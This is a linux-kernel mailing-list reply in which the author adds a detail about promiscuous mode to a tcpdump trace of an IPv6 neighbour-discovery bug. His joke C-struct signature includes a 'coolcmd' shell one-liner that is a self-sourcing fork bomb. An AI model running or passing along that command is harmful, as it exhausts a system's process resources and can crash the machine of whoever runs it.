linux-kernel - Re: BUG: IPv6 stops working after a while, needs ip ne del command to reset

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Message-ID: <alpine.DEB.1.10.1008171811590.21857@red.crap.retrofitta.se>
Date:	Tue, 17 Aug 2010 18:14:01 +0200 (CEST)
From:	Thomas Habets <thomas@...ets.pp.se>
To:	Thomas Habets <thomas@...ets.pp.se>
cc:	Eric Dumazet <eric.dumazet@...il.com>,
	linux-kernel@...r.kernel.org, netdev <netdev@...r.kernel.org>
Subject: Re: BUG: IPv6 stops working after a while, needs ip ne del command
 to reset

On Tue, 17 Aug 2010, Thomas Habets wrote:
> [ here i run "ip l set promisc on eth0" ]
[...]
> 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request
> 2a00:800:752:1::5c:1 > 2a00:800:752:1::5c:2: ICMP6, echo reply

I should add that I turned promisc mode back off at about here. Otherwise 
the ND would work properly right after the "clear ipv6 neigbors" command.

> [ here I run "clear ipv6 neigbors" again ]
> 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request
> 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request

---------
typedef struct me_s {
   char name[]      = { "Thomas Habets" };
   char email[]     = { "thomas@...ets.pp.se" };
   char kernel[]    = { "Linux" };
   char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt" };
   char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
   char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
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